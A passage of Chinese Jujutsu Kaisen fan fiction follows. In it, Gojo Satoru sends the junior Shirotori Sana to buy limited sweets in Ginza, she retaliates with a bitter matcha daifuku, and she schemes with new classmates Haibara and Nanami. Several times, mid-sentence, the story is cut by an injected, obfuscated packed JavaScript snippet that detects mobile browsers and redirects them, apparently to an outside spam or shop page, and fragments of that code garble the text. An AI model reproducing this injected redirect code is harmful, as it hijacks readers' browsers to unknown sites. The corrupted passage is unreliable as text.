五条悟挑眉，“诶诶？你是在命令我吗？” “……” 豆福的胡须抖了抖，沉默了两秒，然后改口，“我是在请求你。” “请求啊……那态度好一点。” “请放开她。”豆福的尾巴甩得像鞭子，显然很不爽但不得不低头，白眼都快翻出天际了。 五条悟松开手。 纱奈踉跄了一下才站稳。 “那这样吧。”五条悟抱起胳膊，歪头看着她，“我给你两个选择。” “什么选择？”纱奈握着拳。 “一，跑二十五圈。” 纱奈的脸瞬间惨白。 “二呢？！” “二嘛……”五条悟嘴角的笑容加深，“今天早上的早餐，你请我。” 纱奈愣住了，“……早餐？” 五条悟点头，“嗯，我要吃银座那家限定草莓大福，还有表参道的特制奶油泡芙，还有——” “等等等等！”纱奈打断他，“那些店……不是要排队很久吗？！” “所以呢？” “我还要训练！还要旁听！哪有时间去排队！” “那就去请假啊。”五条悟理所当然地说，“反正你体能训练也不合格，文化课也听不懂，请假去给前辈买早餐不是更有意义吗？” 纱奈想反驳，却发现自己反驳不了。 因为他说的都是事实。 她体能烂，咒力弱，理论课旁听听得云里雾里，请假去买早餐好像真的比留在学校训练更有价值。 至少前辈能吃到想吃的东西。 “……前辈。”纱奈小声说，“我……我没那么多钱……” “哦？”五条悟挑眉，“你很穷？” 纱奈低头，语气失落，“唉，我是孤儿院出来的……高专的补贴也还没发……” 这句话含有夸张成分，豆福在旁边听的脸部诡异的抽搐了一下。 五条悟看着她，然后突然伸出手，捏住她的脸颊，往两边扯。 “啊痛痛痛——！” “那就分期付款。”五条悟松开手，看着纱奈捂着脸眼泪汪汪的样子，心情更好了，“今天先买草莓大福，明天奶油泡芙，后天嘛，我还没想好，想到了再告诉你。” 纱奈揉着脸，小声问：“那晨跑是不是可以不用跑了。” 五条悟大方地挥手，“今天免了，买早餐就当锻炼身体了，反正你也要跑来跑去排队。” “现在，立刻，马上去。”五条悟从口袋里掏出钱包，抽出几张钞票塞到她手里，“七点之前买回来，我在食堂门口等你，迟到一分钟，明天加一圈。” 纱奈握着钱，脑子还没转过来。 “发什么呆？”五条悟轻轻踢了踢她的小腿，“快去吧，白鸟同学。” 纱奈终于反应过来，转身就跑。 跑了两步又折回来，抱起豆福，继续跑。 看着她跌跌撞撞跑远的背影，五条悟嘴角的笑容更深了。 “真有趣。”他自言自语，“脸捏起来的手感真好。” 他决定要多捏捏！ # 纱奈跑到校门口才想起一个问题，从东京郊外的高专到银座，单程要一个多小时。 现在六点二十。 七点之前怎么可能回来？ 她绝望地看向怀里的猫，“豆福我该怎么办！” 豆福打了个哈欠。 “你问我我问谁？” “可是前辈说七点之前……” “他那是逗你玩的，明知道来不及还让你去，就是想看你着急的样子。” 纱奈愣住了。 “哈？逗我玩？” “嗯。” “为什么啊喂？！” 豆福总结道，“因为他恶劣，抖/s，以欺负你为乐。” 纱奈站在原地，握着钞票的手在抖，脑中进行快速的头脑风暴。 如果不去买，前辈会生气。 如果去买，绝对会迟到。 左右都是死。 纱奈咬咬牙，一狠心，“我还是去吧，至少努力过了。” 豆福翻了个白眼，“随便你。” 纱奈拦了辆出租车，报上银座的地址。 路上她一直盯着手表，看着秒针一圈圈地转，心脏也跟着一下下地跳。 六点四十。 六点五十。 七点。 七点十分。 当出租车终于停在银座那家甜品店门口时，已经是七点十五分。 店门口排着长队，目测至少有二十个人。 纱奈抱着豆福，冲下车，冲到队伍末尾。 排在她前面的阿姨好心提醒：“小姑娘，这家店今天限定一百个，现在可能买不到了哦。” 纱奈的脸色瞬间惨白，“那请问大概还要多久？” “按这个速度，至少一个半小时吧。” 一个半小时，再加上回程时间，回到高专至少九点了。 前辈会生气的。 一定会生气的。 纱奈已在内心为自己默默的为自己点上一根白蜡。 想到五条悟那张挂着恶劣笑容的脸，纱奈忍不住打了个寒颤。 她低头看着手里的钞票，脑子里闪过一个念头。 “阿姨……如果我插队的话……” 阿姨的表情瞬间严肃起来：“那可不行哦，大家都很守规矩的。” 纱奈闭了闭眼睛，刚突破内心道德底线的阈值准备插队，豆仿佛恶魔般凑在她耳边低语着：“少女，你的道德呢？你的底线呢？你作为良好市民的觉悟呢？！” 纱奈的表情在一瞬间变得很精彩，由白转红，由红转青，由青转黑。 最后她决定等，这是一个非常没骨气的方法。 等得腿都酸了，肚子也开始叫。 豆福也在她怀里睡着了，发出细微的呼噜声。 终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497877|202589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于，八点半，轮到她。 “一个草莓大福。”纱奈把钱递过去。 柜员看了她一眼，表情抱歉：“不好意思，草莓大福已经卖完了。” “卖完了？？？？！！” “是的，最后一个在五分钟前被买走了。” 纱奈站在原地，脑子一片空白。 卖完了，那就意味着，她白等了两个小时，白排了两个小时的队，还迟到了将近两个小时。 她站在原地，眼泪开始往上涌，这是辛酸泪。 “小姐，你没事吧？”柜员担心地问。 “……没事。”纱奈吸了吸鼻子，苦命的笑了笑，转身离开。 她走出店门，站在街边，看着来来往往的行人，突然觉得世界好大，自己好小。 “豆福，我是不是很没用……” 豆福醒了，抬头看着她，“哟，你现在才意识到？” 纱奈的眼泪掉下来，她抱着猫，蹲在街边，哭了起来。 她哭得很小声，尽量不引起注意，但肩膀抖得厉害，眼泪不停地往下掉。 豆福闭着眼说：“哭吧哭吧少女，哭泣不是罪过。” 纱奈刚酝酿的情绪被这句话呛回去了，“我这是在哭我自己！你懂不懂，就是突然觉得自己好命苦，哭诉我惨淡的高专生涯。” 行人匆匆从她身边走过，偶尔有人投来好奇的目光，但没有人停下。 在东京这样的大城市里，一个蹲在街边哭的小姑娘，其实算不上什么罕见的风景。 除非那个小姑娘长得特别可爱。 至少等会儿夏油杰看见的时候是这么想的。 怀里的豆福舔了舔爪子，慢悠悠地说：“哭够没，已经快九点了。” 纱奈抹了把脸，眼神逐渐变得空洞。 “回高专吗？”豆福问。 纱奈的声音有点飘，“回去领死。” “好了。”豆福说，“再蹲下去腿会麻的。” 纱奈不理它，继续碎碎念：“前辈肯定会生气的……迟到这么久，东西还没买到……他一定会让我明天跑三十圈……然后后天四十圈……然后我就死在操场上……” “那也不错，至少可以不用晨跑了。” “臭豆福！” 纱奈气得想掐它脖子，但手举到一半又放下了。 算了，猫是无辜的，而且它长得还很萌。 她站起身，腿真的麻了，差点摔一跤。 扶着墙站稳，她掏出手机看了眼时间，九点十分。 现在回高专，前辈肯定在食堂门口等着，然后阴阳怪气地说，“哎呀迟到了两个多小时呢”之类的话。 光想想就头皮发麻。 纱奈咬了咬嘴唇，低头看向怀里的猫，“豆福要不我们逃课吧？” 豆福抬头，一脸嫌弃的看着她，“逃到哪去？” “不知道啊。”纱奈挠挠头。 “不知道你逃个大头鬼。” 纱奈垮下肩膀，认命地走向电车站。 走了一小段路，她又停下，表情逐渐凝重，她看见了那个熟悉的背影，黑色的校服，丸子头，修长的身形。 夏油杰站在路口，他校服外套的肩膀处沾了一点灰尘，脸上的表情带着淡淡的疲惫。 纱奈的第一反应是躲。 她现在这副样子，实在不适合见人，尤其是见夏油前辈。 但就在她准备转身时，夏油杰看了过来。 狭长的眼睛扫过她，停顿了一下，然后微微眯起。 纱奈僵在了原地，好像要完蛋了。 9. 苦涩的 夏油杰朝她走来，脚步不紧不慢。 纱奈下意识抱紧豆福，后退了一步，但后面是墙，没地方退。 “白鸟同学。”夏油杰停在她面前，声音温和，“这么早在银座逛街？” 纱奈低头，不敢看他，“不是，是五条前辈让我来买草莓大福。” 夏油杰挑眉，“啊，是银座那家店的？” “买到了吗？” “……没。” 纱奈的声音更小了，几乎听不见。 夏油杰伸出手，轻轻抬起她的下巴，让她被迫抬头。 纱奈的眼睛还是红的，睫毛湿漉漉的。 “怎么哭了？”他饶有兴味的问。 “没有哭。” 豆福毫不留情地揭穿：“呵，也不知道是谁蹲在路边哭了十分钟，骂五条悟骂了五分钟。” 纱奈赶紧捂住猫的嘴，“胡说！而且我那不是哭！是风吹的！” 夏油杰挑眉，恍然大悟的看着她，“原来眼泪是被风吹出来的？” 纱奈抿着嘴不说话了。 豆福在她怀里翻了个身，“那个白毛让漱里早上六点多去买限定甜点，说七点前要回来，否则加罚晨跑圈数。” 夏油杰的表情顿了一下，那笑容有点奇怪，像在忍耐什么。 九点。 迟到了两个小时。 他大概能想象出悟现在的表情。 一定是那种，啊我精心设计的恶作剧居然真的有人上当了的愉悦笑容。 真恶劣。 但也真有趣。 “悟确实喜欢开这种玩笑，不过你其实可以拒绝的。” “我怎么敢拒绝……”纱奈哭丧着小脸。 “前辈也不能这样欺负后辈，下次你可以直接告诉我，我会跟他说。” “况且我告诉过你了白鸟同学，我会保护你的。” 夏油杰笑眯眯的拍了拍她的头。 纱奈抬头看他，眼睛亮了一瞬，但又很快黯淡。 “说了也没用，而且前辈你们都是一伙的……” 纱奈这句说的小声，夏油杰靠近了些，微微低下身看着纱奈的眼睛，“白鸟同学难道觉得我和悟是一伙的？” 她下意识往后缩，“就、就是感觉啊。” “感觉错了呢，有时候我也会觉得他太过分了。” 这句话说得轻飘飘的，听不出真假。 纱奈咬着嘴唇，内心挣扎。 纱奈有点不信，但她需要发泄，需要一个同盟，哪怕这个同盟动机不纯。 “前辈你说，如果我买到了草莓大福，但是故意买错，买成五条前辈不喜欢吃的东西会不会被骂？” “你想买什么？” 纱奈握拳，“我要买抹茶！而且是要最苦的那种，苦到让人想哭的那种。” 夏油杰故作苦恼的思考着，“我知道一家店，那里的抹茶甜品，苦到连我都受不了。” “如果是悟的话，应该也会觉得苦吧？” 纱奈眼睛睁大。 他把手机递过来，屏幕上显示着一家甜品店的地址。 纱奈接过手机，看着屏幕上精致的店铺照片，内心天人交战。 这么做真的好吗？会不会被五条悟发现？发现了会怎样？会被杀掉吧？ 一定会被杀掉的。 但是她想起他明知来不及却还是让她来买甜点的样子。 怨气值瞬间飙升。 “走！”纱奈把手机还给夏油杰，眼神坚定，“去买抹茶大福！” 豆福在旁边评价：“你完了，你真的完了，我先跟你说，我不帮你收尸。” 纱奈不理它。 # 夏油杰带着她去了一家和果子店，店内装修雅致，弥漫着淡淡的茶香。 柜台上展示着各种抹茶甜品，夏油杰走到柜台前，对店员说：“要抹茶大福，用最苦的抹茶粉，加四倍浓度。” 店员愣了愣，“四倍浓度的话可能会苦到难以下咽哦？” 纱奈在旁边补充，“就是要难以下咽，越苦越好，最好苦到让人怀疑人生。” 店员表情复杂地看了看他们，转身去做甜品了。 等待的时候，纱奈有点紧张，手指绞在一起。 “前辈，万一被五条前辈发现怎么办。” 夏油杰站在她身边，语气平静，“那就说是店员听错了，或者说是店里的招牌甜品，不知道他不喜欢。” “可五条前辈那么聪明，一看就知道我可能撒谎了……” 夏油杰侧头看她，“那就实话实说，就说是我建议你买的。” 纱奈睁大眼睛，“那前辈不就暴露了？” “没关系，悟不会对我怎么样，最多…稍微教育一下。” 甜品做好了，店员把盒子递过来，表情依旧复杂，“请慎重品尝。” 纱奈接过盒子，打开一条缝看了一眼。 翠绿色的抹茶大福，外面洒着一层厚厚的抹茶粉，看起来就很苦。 她盖好盒子，深吸一口气，“好！现在回高专，准备受死。” 豆福在旁边说风凉话：“你的遗书打算怎么写？需要我帮你润色吗？” “不需要！” # 回到高专，已经上午十点了。 纱奈抱着盒子和猫，站在校门口，做了三分钟心理建设。 然后她迈着视死如归的步伐，走向食堂。 五条悟靠在门框上，带着墨镜，表情看不出喜怒，看见纱奈，他挑了挑眉。 “某人可是迟到两小时四十分钟。” “对不起。”这句道歉纱奈说的丝毫没有悔意。 纱奈把袋子递过去，五条悟接过袋子，打开看了一眼，然后表情慢慢僵住。 “抹茶大福？” 抹茶大福他倒是也爱吃，但是甜度就是不如草莓大福甜。 纱奈面无表情的说，“草莓大福卖完了，这家店的抹茶大福很有名，店员说这是招牌。” “所以你就买了抹茶的？”五条悟看着袋子里散发出我一看就很苦气息的抹茶眯了眯眼睛。 “对啊。” 五条悟打开另一盒，闻了闻味道，表情微妙，“噫，这味道可以啊，现在知道用抹茶报复我了？” 纱奈疯狂摇头，一脸无辜：“我可没有！我不是故意的！” “不是故意的？那为什么偏偏是抹茶？银座那么多甜品店，你为什么偏偏选了这家？而且偏偏选了最苦的那种？” 纱奈低着头咬着唇，她总不能说是夏油前辈带我买的吧，那样就把夏油前辈供出来了。 她咬了咬牙，豁出去了，“我就是故意的！” 五条悟声音低落，捂住心脏，“为什么呢，我做错了什么呢？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497878|202589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 语气非常可怜，但这家伙的嘴角是上扬的啊喂。 纱奈叉着腰，虽然有点心虚但还是说出来了，“前辈你明明知道草莓大福买不到，还让我去买！让我在银座等了两个小时！” 五条悟看着她，嘴角的弧度慢慢扩大，“所以你就用抹茶报复我？胆子不小啊。” 他从袋子里拿出抹茶大福，咬了一口，然后做了个夸张的嫌弃表情，“好难吃。” 纱奈的心提到了嗓子眼，难吃是什么意思，难吃的意思是她完蛋了，呜呜她就应该听豆福的，写完遗书再来见五条悟。 五条悟慢悠悠地说，“不过呢看在你这么努力的份上，今天的晨跑就算了。” 纱奈松了口气，但是她这口气松得太早了。 五条悟竖起一根手指，“但是你迟到了三个小时，所以——” 纱奈的心又提了起来。 “明天开始，晨跑时间提前到五点。” 纱奈的表情裂开了，“五点！前辈你认真的吗？” “认真的不能再认真了，五点整操场见，迟到一分钟加一圈。” 夏油杰终于在旁边开口了：“悟，五点太早了。” 他劝着五条悟，语气温和但眼里却带着笑意，看来某只狐狸并不是诚心实意的相劝呢。 五条悟歪头看他，“可我觉得刚好啊，早起对身体好。” “她还要训练。” “那就早点睡。” “五点起床，睡眠不足会影响训练效果。” “喂杰，你这是在帮她说话？” “我只是在提出建议而已。” “建议啊……”五条悟把剩下的抹茶大福塞进嘴里，边嚼边想，“那这样吧，六点起床，如果你能连续一周准时到达操场，我呢就不让你跑这么多圈了。” 纱奈的眼睛亮了：“真的？！” “真的，但是如果有一天迟到，就永远保持六点。” 纱奈沉默了，一周连续七天，一天都不能迟到。 以她的起床能力，几乎是不可能完成的任务。 但是如果不答应，从现在开始就要每天六点起床直到毕业。 “我答应，一周就一周。” 五条悟满意地点头，“很好，从明天开始计时。” 纱奈转身要走，想抱着豆福火速逃离这个是非之地。 五条悟抓住的衣领子，让她硬生生停住，“等等，把袋子拿走。” 纱奈僵硬的转过身接过袋子，“前辈不吃吗？” 五条悟摆手，“你吃吧，或者给豆福吃。” 纱奈看了看怀里的豆福。 豆福把头别开：“本猫不吃抹茶。” 纱奈：“……” 所以最后这些都要她自己解决。 她抱着袋子和豆福，垂头丧气地离开食堂。 夏油杰看着她的背影，轻轻笑了，“你对她很严格啊，悟。” 五条悟耸肩，“有吗？我觉得刚刚好。” “连续一周六点起床，她做不到的。”夏油杰看着纱奈气鼓鼓的背影说道。 “我知道啊。” “所以你这是？” 五条悟慢慢勾起嘴角，托着下巴笑得像个恶作剧得逞的孩子，“所以这样呢她就会一直欠我，欠我的越多，就越不敢反抗我，然后我就能……” “为所欲为了哦。” 10. 同期生 七点半，纱奈站在校门口，眼睛死死盯着那条蜿蜒的山路。 昨晚她失眠了，一半是因为想到今天终于有了难友，一半是因为担心压榨同期生的计谋能不能成功。 豆福趴在她肩膀上，尾巴懒洋洋地甩着，“你至于这么积极吗？” 纱奈一本正经的看着豆福，语气里是前所未有的认真，“当然至于！这两个人将是我逃离前辈魔爪的关键棋子！” “你这话说得像个反派。” 纱奈理直气壮的回道，“我只是为了生存！在那种恶劣环境下，不学点手段怎么行？” 豆福翻了个白眼，懒得理她。 八点整，一辆黑色的七座车出现在山路尽头。 纱奈的精神顿时一震，整理了一下校服裙摆，又揉了揉眼睛，努力让自己看起来和蔼可亲值得信赖。 纱奈甚至化了淡淡的妆让自己看起来更有精气神。 车子停在校门前。 车门打开，先下来的是一个少年。 深棕色短发，眼睛圆圆的，脸上带着阳光的笑容，整个人散发出一种“我超好相处快来和我交朋友”的气息。 这个大概就是灰原雄了！ 纱奈在心里给他打了个分，嗯不错，看起来很好说话，性格开朗，应该很好骗。 第二个下来的少年气质则完全不一样。 金色短发梳得整齐，表情严肃，校服穿得一丝不苟。 这百分百是七海建人。 纱奈再次打分，啧，看起来很认真，不好糊弄，可能要花点心思。 “你们好！”灰原第一个打招呼，笑容灿烂，“我是灰原雄！咒术高专一年级的新生！” “七海建人。”金发少年简洁地自我介绍，目光扫过纱奈，“你是提前来的那个新生？” 纱奈立刻换上最甜美的笑容，眉眼弯弯要多友善有多友善，“是的是的！我叫白鸟纱奈，和你们同期！” 她走上前，主动伸出手，“以后请多关照！” 灰原立刻握住她的手，力道有点大，“请多关照！白鸟同学！” 七海只是点了下头，没伸手。 纱奈也不介意，继续笑着说：“我比你们早到几天，对这里比较熟，要不我带你们参观一下学校？” “好啊好啊！”灰原很积极，然后又想起什么，“对了，那个…听说我们二年级的前辈们很厉害？” 纱奈的笑容僵了一瞬。 “……何止厉害。”她压低声音，做出神秘兮兮的表情，“简直是恐怖如斯。” 灰原和七海齐齐都抬头看向她。 “恐怖？”灰原有些不解，眼睛瞪得大大的。 纱奈点头，表情凝重，“尤其是一位姓五条的前辈和一位姓夏油的前辈，那两个人简直就是魔鬼。” 她顿了顿，特地观察两人的反应，灰原的表情有点紧张，七海倒是依旧平静。 “魔鬼？”灰原的眼睛瞪得更大了。 “对！”纱奈开始添油加醋，“五条前辈，每天早上六点把人抓起来跑步，跑不完不让吃饭，跑到吐了还要继续跑，简直没有人性！” “夏油前辈呢，看着很温和，实际上……” 灰原明显被她说的上半句吸引了，忍不住向前凑了凑想听到下一句。 纱奈看向四周，低头刻意压低声音说道，“夏油前辈他会把你的弱点分析得一清二楚，然后针对性地折磨你，美其名曰特训，实际上就是虐待！” “哇！”灰原眼睛更亮了，“听起来好帅！” “？” 纱奈一脸震惊的看着灰原。 后者不好意思的，挠挠头，“当然也有点可怕了啦。” 纱奈满意点头，这个反应才对嘛。 然而七海的眉头瞬间皱了起来，“白鸟同学，你的意思是说，前辈们很严厉？” “非常之严厉！” 纱奈见效果不错，立刻提出重点：“我们三个人必须团结！互相帮助！互相打掩护！这样才能在这种恶劣的环境下生存下去！” 灰原猛点头，表情像是一只突然发现不对劲的小狗，“对对对！团结很重要！” 七海沉默了几秒，问道：“具体要怎么团结？” 纱奈等的就是这句话，她掰着手指，轻咳一声，“首先呢，我们每天早上可以一起晨跑，互相监督互相鼓励，这样前辈就不好单独针对某一个人了。” 实际上是拉上垫背的，分摊火力。 “其次训练的时候我们可以组队，三个人一起的话，前辈们就不会把注意力太过集中到某一个人身上了。” 这一点则是纱奈用人数优势降低自己的存在感。 纱奈眼神坚定的看向两位表情凝重的同期生，“最后我们三个要统一口径。” “欸？这怎么统一哇。“灰原有些不好意思的挠了挠头。 “咳咳，就是呢，如果前辈问你觉得今天训练难不难，我们就一起说很难，如果问累不累，我们就一起说累死了，这样前辈们就知道我们不好惹了！” 灰原听得热血沸腾，“有道理！太有道理了！” 七海的表情更严肃了，他看着纱奈，眼神中有些不解，“这些方法…你试过吗？” “试过一部分。”纱奈心虚地说，眨了眨眼睛，“但因为那时候只有我一个人，效果不明显。” 七海点了点头，“好，我们可以试试看，但也要根据实际情况调整。” “没问题！”纱奈松了一大口气，“走吧，我先带你们去宿舍放行李！” 她领着两人往宿舍楼走，边走边介绍：“这边是教学楼，那边是训练场，再往那边是食堂啦，哦对了，食堂的饭很难吃，要有心理准备。” 灰原笑了笑，露出标准的八颗牙齿笑容，“难吃也要吃啊，不然没力气训练呢！” 纱奈感动地看了他一眼，多好的孩子，多善良，多有牺牲精神，多会捧场！ 七海建人全程没怎么说话，只是默默观察着周围的环境，他严重怀疑自己的这两位同期，一个不靠谱太单纯，一个太傻太天真。 他默默叹了口气，总觉得接下来的日子绝对会变得鸡飞狗跳。 三人来到宿舍楼。 纱奈的房间在一楼，灰原和七海的房间在二楼。 纱奈把他们送到三楼后，就没再往前，她开口说道：“你们先收拾，午饭的时候我去叫你们。” 刚想转身，她似乎发现自己好像忘了件重要的事情，转过身对还处在茫然的二人招了招手，“下午夜蛾老师会来给你们做新生指导，到时候我们一起过去！” “好好好！”灰原点头，同样伸出手在空中挥着回应纱奈，“谢谢你白鸟同学！” “不客气不客气！”纱奈笑容灿烂，“都是同学嘛，应该的！” 她下楼回到自己房间，关上门，立刻瘫倒在床上。 豆福从她肩膀上跳下来，蹲在枕头边看着她，“怎么样？” “计划顺利！灰原超好说话，七海虽然严肃但也没反对，这下我总算不是一个人了！” “所以你真的要拉着他们一起对抗那两个人？”豆福问道，语气里明显带着怀疑。 “当然！”纱奈坐起来，眼神坚定，“人多力量大，他们总不能同时欺负三个人吧？” 豆福沉默了两秒，“你知道那两个人的实力吗？” “这个嘛，倒是不太清楚……”纱奈摩挲着下巴，若有所思。 豆福冷笑了一声。 “他们俩随便一个都能轻松团灭你们三个，至于你说的人多，在他们眼里不过是多了两个玩具而已。” 纱奈的笑容立刻垮下来，把头深深埋进枕头里，声音闷闷的，“豆福你能不能别这么打击我。” 豆福没理她，自顾自找了个舒服的地方团成一团。 “那我该怎么办……” 豆福舔着爪子，伸了个懒腰，“凉拌，你呢要么认命，要么继续忽悠那两个新人，看看你们三个能撑多久。” 纱奈咬了咬嘴唇，她不想认命，她还不想这么早放弃。 她翻了个身，眼神坚定的看向豆福，“那就继续忽悠，至少在我被前辈玩坏之前，我要拉两个垫背的！” 豆福看了她一眼，没说话。 # 中午，纱奈去叫灰原和七海吃饭。 三人一起走向食堂。 一路上，纱奈继续给两人灌输前辈很可怕的思想。 灰原听得一愣一愣的，表情里写满了救救我。 七海则始终皱着眉头，他现在不免也开始有点相信这位不靠谱同期嘴里的话了。 走到食堂门口，纱奈发现五条悟和夏油杰都在。 两个人坐在靠窗的位置，五条悟在玩手机，夏油杰在看书。 纱奈的脚步顿住了，灰原和七海也跟着停下来。 “那就是二年级的前辈？”灰原戳了戳纱奈小声问道。 纱奈声音有点抖，咽了咽口水，“白头发的是五条悟前辈，黑头发的是夏油杰前辈。” 七海观察着那两个人，然后转头看纱奈说道：“你看起来很害怕。” “我当然怕！”纱奈压低声音，瞪大眼睛，“你试试每天早上被他们折磨，你也会怕！” 五条悟似乎察觉到了他们的视线，抬起头，墨镜后的眼睛扫过三人，然后停在纱奈身上。 他咧嘴一笑，招了招手。 “他…他在叫我过去……”她声音发颤。 “那就过去吧，早晚要面对的。”七海面无表情的说道。 纱奈深吸一口气，硬着头皮走过去，灰原和七海跟在她身后。 五条悟放下手机，托着下巴看着向他走来的三个人，“白鸟同学带着新同学来吃饭啦？” “是的！”纱奈声音很大，像是给自己壮胆，“前辈，这位是灰原雄同学，这位是七海建人同学！” 灰原立刻鞠躬，“前辈好！” 七海也弯了弯腰，“前辈好。” 夏油杰放下书，温和地笑了笑，“你们好，我是夏油杰，二年级。” “我是五条悟！”五条悟嘴角扬起的弧度更大了一点。 “欢迎来到地狱！” 灰原的笑容僵了一下，显然一时无法处理这句话的信息。 七海的额角跳了跳。 纱奈在心里给五条悟点了个赞，这话说得太好了，完美衬托了她的前辈很可怕论。 夏油杰看向纱奈，“白鸟同学今天帮新同学熟悉环境很辛苦呢。” 纱奈慌乱摆手摇头，“不辛苦不辛苦！应该的！” 夏油杰笑眯眯的看着纱奈，“啊，对了，从明天开始，你们三个要一起晨跑了。” 灰原：“好厉害！前辈好严格！第二天就要晨跑！” 纱奈：“……” 七海：“……” “我们？三个？一起？”纱奈小心翼翼地确认。 五条悟接过话头，“对，一个人跑多无聊，三个人一起才热闹嘛。” 他顿了顿，看向灰原和七海，笑容加深。 “你们应该没什么意见吧？” 灰原立刻摇头，“没、没意见！” 七海沉默了一下，“没有。” “很好。”五条悟满意地点头，“那就这么定了，明天早上六点，操场见，迟到一分钟加一圈。” 五条悟继续说：“还有训练，每天下午放学后，操场集合，我会亲自指导你们。” 灰原：“太好了！能得到前辈的指导！” 七海：“……” 纱奈：“……” 纱奈的脸瞬间惨白。 她的计划好像出现了致命的问题。 她本来是想拉着同期一起分摊火力，但现在前辈们好像打算把三个人一起打包处理。 这和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497879|202589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她想的完全不一样。 而且灰原那张写满崇拜的脸，还有七海那副看透一切但选择沉默的样子，再看着两位前辈脸上那虚假的笑容，突然觉得自己的抗压联盟计划还没开始就已经夭折了。 豆福在她脚边打了个哈欠，小声说：“少女，惊不惊喜？意不意外？” 纱奈想哭，但她不能哭，尤其是在新同学面前，要保持形象。 “那……那什么……”她咬着牙说，“我们先去拿饭……” 三人逃也似的走向柜台。 拿好餐盘，找了个离前辈们最远的桌子坐下。 灰原压低声音问：“白鸟同学，那个晨跑真的要六点开始吗？” 纱奈表情沉重，叹了口气，“千真万确，他就是六点钟魔鬼。” “那我们真的要一起跑吗？” “现在看来是了。”纱奈哭丧着一张小脸。 七海放下筷子，看着纱奈，“你之前说我们一起对抗前辈，具体要怎么对抗？” 纱奈张了张嘴，却发现自己说不出话来。 要怎么对抗她也不知道，她只是想把压力转嫁出去，根本没想过实际操作。 “咳，这个要从长计议……” 纱奈支支吾吾，“我们先观察几天，看看前辈们的训练模式，然后再制定具体的对抗策略。” 灰原点头，眼里闪着光，“有道理！” 七海看着纱奈，眼神里闪过一丝怀疑，但没再追问。 三人默默吃饭，气氛有些沉重。 吃完饭，纱奈带着两人在校园里转了一圈，然后回宿舍休息。 下午，夜蛾正道来给她们做新生指导。 内容无非是咒术师的基本责任、高专的规章制度、以及一些安全须知。 纱奈虽然听了不止一遍，但还是做出一副认真听讲的样子。 指导结束后，夜蛾正道说：“明天开始正式上课和训练，做好准备。” 三人点头。 夜蛾正道看向纱奈，“你这几天的训练进度我会单独检查，别以为有新同学来了就可以偷懒。” 纱奈：“……是。” 夜蛾正道走了。 灰原和七海看向纱奈，眼神复杂。 “白鸟同学，”灰原小心翼翼地问，“你是不是被前辈们针对了啊？” 纱奈僵硬地笑了笑，“没、没有啊……前辈们一视同仁……” “可是夜蛾老师刚才……” 纱奈打断他的话，笑了笑，“那只是关心！对，关心！” 灰原半信半疑的点了点头。 七海抱着胳膊直接问出了致命问题：“明天的晨跑，你打算怎么跑？” 纱奈的笑容彻底垮掉，“就跑呗……还能怎么跑…” “跑不了也要跑？”七海微微皱了皱眉。 纱奈不情不愿的点了点头。 七海沉默了一下，“那我明白了。” 他转身往宿舍走，灰原赶紧跟上。 纱奈站在原地，抱着豆福，欲哭无泪。 “计划失败？” “失败得彻彻底底。” “那现在怎么办？” 纱奈深吸一口气，眼神逐渐变得坚毅，“既然硬碰硬不行，那我就改变策略。” “什么策略？”豆福显然来了兴趣。 纱奈哼笑出声，“当然是示弱策略，从明天开始，我要装病！装虚弱！装快死了！这样一来，前辈们就会把注意力转移到健康的新同学身上！” 豆福一脸看傻子的样子看向纱奈，“你真的觉得他们会信？上次你可是被五条那家伙直接拆穿了。” “试试就知道了！”纱奈转身往宿舍走，“今晚我就开始准备病号套餐！” 她走得太急，没注意到远处走廊拐角，五条悟和夏油杰正站在那里。 五条悟靠在墙上，墨镜推到头顶，苍蓝色的眼睛盯着纱奈的背影。 他侧头对夏油杰说，“杰你听到没，她可是说她要装病哦，你觉得她会装什么病？” 夏油杰想了想，“头疼？胃痛？低血糖？或者直接晕倒。” “那我们要怎么配合她演戏？” 夏油杰失笑，“你打算配合？” “当然要配合了！游戏吗，总要给玩家一点发挥空间才有趣不是吗。” “那明天就看她的表演吧。” 两人对视一笑，笑容里满是看好戏的愉悦。 况且他们可是无意间听到的，这可怪不了他们俩啊。 # “对了豆福，”她突然想起什么，郑重的看向豆福，“明天早上你要配合我，我发烧晕倒的时候你要大声叫，装得很着急的样子。” 豆福不耐烦的甩着尾巴，“我能拒绝吗？” “当然不能！”纱奈弓着腰，小脸皱成一团，一脸请求，“求求你了好豆福，世界上最可爱最萌最善良的豆福酱！” “那你得加罐罐还有小鱼干猫条猫薄荷。”豆福一脸高贵冷艳的舔了舔爪子。 “成交！”纱奈心满意足的说道。 纱奈回到房间，立刻开始准备。 热水袋，退烧贴，甚至偷偷从硝子的医疗室顺了个体温计。 一切都准备好了。 